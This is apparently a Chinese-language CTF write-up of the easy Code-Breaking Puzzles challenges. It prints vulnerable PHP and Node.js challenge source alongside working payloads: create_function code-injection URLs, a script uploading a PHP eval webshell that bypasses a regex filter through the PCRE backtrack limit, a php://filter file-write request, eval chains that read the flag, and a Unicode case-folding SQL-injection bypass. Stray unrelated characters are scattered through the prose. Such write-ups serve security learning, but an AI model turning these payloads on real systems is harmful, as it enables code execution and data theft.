代碼審計(jì)知識(shí)星球二周年闽烙,P牛出了幾道質(zhì)量相當(dāng)賊很高的題目翅睛,個(gè)人實(shí)力比較菜,這里記錄一哈復(fù)現(xiàn)收獲黑竞,當(dāng)然也歡迎加入【代碼審計(jì)】知識(shí)星球捕发,一起進(jìn)步。
介紹具體可以看這里很魂。
題目鏈接
https://code-breaking.com/#promo-block
題目考點(diǎn)
1.function PHP函數(shù)利用技巧(create_function)
2.pcrewaf PHP正則特性
3.phpmagic PHP寫文件技巧
4.phplimit PHP代碼執(zhí)行限制繞過
5.nodechr Javascript字符串特性
6.javacon SPEL表達(dá)式沙盒繞過
7.lumenserial 反序列化在7.2下的利用
8.picklecode Python反序列化沙盒繞過
9.thejs Javascript對(duì)象特性利用
easy - function
提交:114扎酷, 正確:90
等級(jí):easy
所有代碼都在題目中。
puzzle url: http://51.158.75.42:8087/
題目環(huán)境
Apache/2.4.25 (Debian)
PHP/7.2.12
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__); //如果action只是由a-z0-9_組成的莫换,則顯示源碼
} else {
$action('', $arg); //題目意思是將action當(dāng)作方法霞玄,arg為傳入的參數(shù)執(zhí)行。
}
p牛在圈中針對(duì)這到題如下敘述
code-breaking puzzles第一題拉岁,function坷剧,為什么函數(shù)前面可以加一個(gè)%5c?奇技淫巧
其實(shí)簡單的不行喊暖,php里默認(rèn)命名空間是\惫企,所有原生函數(shù)和類都在這個(gè)命名空間中。普通調(diào)用一個(gè)函數(shù)陵叽,如果直接寫函數(shù)名function_name()調(diào)用狞尔,調(diào)用的時(shí)候其實(shí)相當(dāng)于寫了一個(gè)相對(duì)路徑;而如果寫\function_name() 這樣調(diào)用函數(shù)巩掺,則其實(shí)是寫了一個(gè)絕對(duì)路徑偏序。
如果你在其他namespace里調(diào)用系統(tǒng)類,就必須寫絕對(duì)路徑這種寫法胖替。
這里感覺和tp框架的命名開頭聲明類似
參考wp之后這里利用了create_function函數(shù)研儒,詳細(xì)情況可以參考這里
create_function('$a',$str2);
這里其實(shí)就是將獲取到的$a以字符串的形式拼接到了php代碼中豫缨,這里與eval這個(gè)函數(shù)類似。
然后照貓化虎制作如下paylaod
http://51.158.75.42:8087/?action=\create_function&arg=2;}phpinfo();/*
至于action=\create_function,P神前面已經(jīng)解釋的很清晰了端朵,命名空間問題好芭,而且這里正好可以繞過preg,剩下就很簡單了冲呢。
直接丟幾個(gè)paylaod
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(scandir('../'));/*
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
easy - pcrewaf
提交:73舍败, 正確:52
難度:easy
所有代碼都在URL里。
URL: http://51.158.75.42:8088/
題目環(huán)境
Apache/2.4.25 (Debian)
PHP/7.1.24
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
這道題的難點(diǎn)就在于
if (is_php($data)) {
echo "bad request";
} //驗(yàn)證包含了所有正常的php代碼
preg_match的繞過可以參考這里
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
這道題可以說收獲很大敬拓,也是第一次意識(shí)到如此preg_replace不安全
easy - phpmagic
提交:30邻薯, 正確:25
難度:easy
源碼:http://51.158.75.42:8082/index.php?read-source=1
URL: http://51.158.75.42:8082/
Apache/2.4.10 (Debian)
PHP/5.6.33
<?php
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
這里php后綴使用php/.繞過,php在處理路徑的時(shí)候恩尾,會(huì)遞歸的刪除掉路徑中存在的/.
另外file_put_contents可以參考這里
base64解碼是4位4位一組弛说,如果base64編碼不是4的倍數(shù),就可以在/*后隨便添加點(diǎn)fuzz字符補(bǔ)齊就好翰意。
至于$_SERVER['SERVER_NAME']的偽造木人,這里直接就是傳遞的Host
最后的POC
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Referer: http://51.158.75.42:8082/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
domain=PD89YG5sIC4uLy4uLy4uL2ZsYWdfcGhwbWFnMWNfdXIxYDsvKipzZGRk&log=://filter/write/convert.base64-decode/resource=test4.php/.
群里還有一種討論方法是apache的php%0a繞過。
easy - phplimit
提交:41冀偶, 正確:40
難度:easy
所有代碼都在頁面中醒第。
URL:http://51.158.75.42:8084/
nginx/1.15.6
PHP/5.6.38
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
代碼很短,這里會(huì)把code最內(nèi)括號(hào)內(nèi)的內(nèi)容替換為空进鸠,利用難度還是很大的稠曼,這里分析一哈師傅們的奇淫技巧。
session_id
GET /?code=eval(hex2bin(session_id(session_start())));
PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
#print_r(file_get_contents('../flag_phpbyp4ss'));
session_id用于獲取PHPSESSID的值
session_start()為使用當(dāng)前cookie中的會(huì)話
hex2bin則將16進(jìn)制轉(zhuǎn)換為二進(jìn)制客年,根據(jù)手冊(cè)霞幅,只是換了一種存儲(chǔ)方式,解決編碼轉(zhuǎn)換問題量瓜,本質(zhì)沒有變換司恳。
get_defined_vars
http://51.158.75.42:8084/
?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));
官方手冊(cè)描述如下:
array get_defined_vars ( void )
此函數(shù)返回一個(gè)包含所有已定義變量列表的多維數(shù)組,這些變量包括環(huán)境變量绍傲、服務(wù)器變量和用戶定義的變量扔傅。
這個(gè)函數(shù)感覺權(quán)限很大
current — 返回?cái)?shù)組中的當(dāng)前單元
next() 和 current() 的行為類似,只有一點(diǎn)區(qū)別烫饼,在返回值之前將內(nèi)部指針向前移動(dòng)一位猎塞。這意味著它返回的是下一個(gè)數(shù)組單元的值并將數(shù)組指針向前移動(dòng)了一位。
arrary_reverse&scandir
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
getcwd — 取得當(dāng)前工作目錄
dirname — 返回路徑中的目錄部分杠纵,給出一個(gè)包含有指向一個(gè)文件的全路徑的字符串荠耽,本函數(shù)返回去掉文件名后的目錄名。
chdir — 改變目錄
scandir — 列出指定路徑中的文件和目錄比藻,返回一個(gè) array铝量,包含有 directory
中的文件和目錄伊履。
array_reverse — 返回單元順序相反的數(shù)組款违,接受數(shù)組 array 作為輸入并返回一個(gè)單元為相反順序的新數(shù)組(只有兩個(gè)文件)群凶。
類似題目
這到題目與RCTF 2018的r-cursive(apache)類似插爹,環(huán)境不同。
easy - nodechr
提交:14请梢, 正確:13
難度:easy
源碼:http://51.158.73.123:8085/source
URL: http://51.158.73.123:8085/
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
關(guān)鍵部分為
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
......
}
這里先進(jìn)行safe赠尾,在進(jìn)行toUpperCase()。
當(dāng)然毅弧,關(guān)鍵點(diǎn)就在于toUpperCase()气嫁,這里可以參考這篇文章,同時(shí)也給出了fuzz的方法
"?".toUpperCase() == 'I'
"?".toUpperCase() == 'S'
之后就是很簡單的sql注入了够坐。
類似的題目
在剛剛過去的HCTF中admin題目寸宵,可以參考這里
感悟
作為一個(gè)萌新,學(xué)到了很多東西元咙,也學(xué)到了好多騷操作梯影。做安全還是應(yīng)該沉下心來,這里只記錄了easy的題目庶香,如果有理解不到位的地方甲棍,也非常歡迎指出,共同交流進(jìn)步赶掖。
參考
http://blog.51cto.com/lovexm/1743442
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/#nodechr
https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/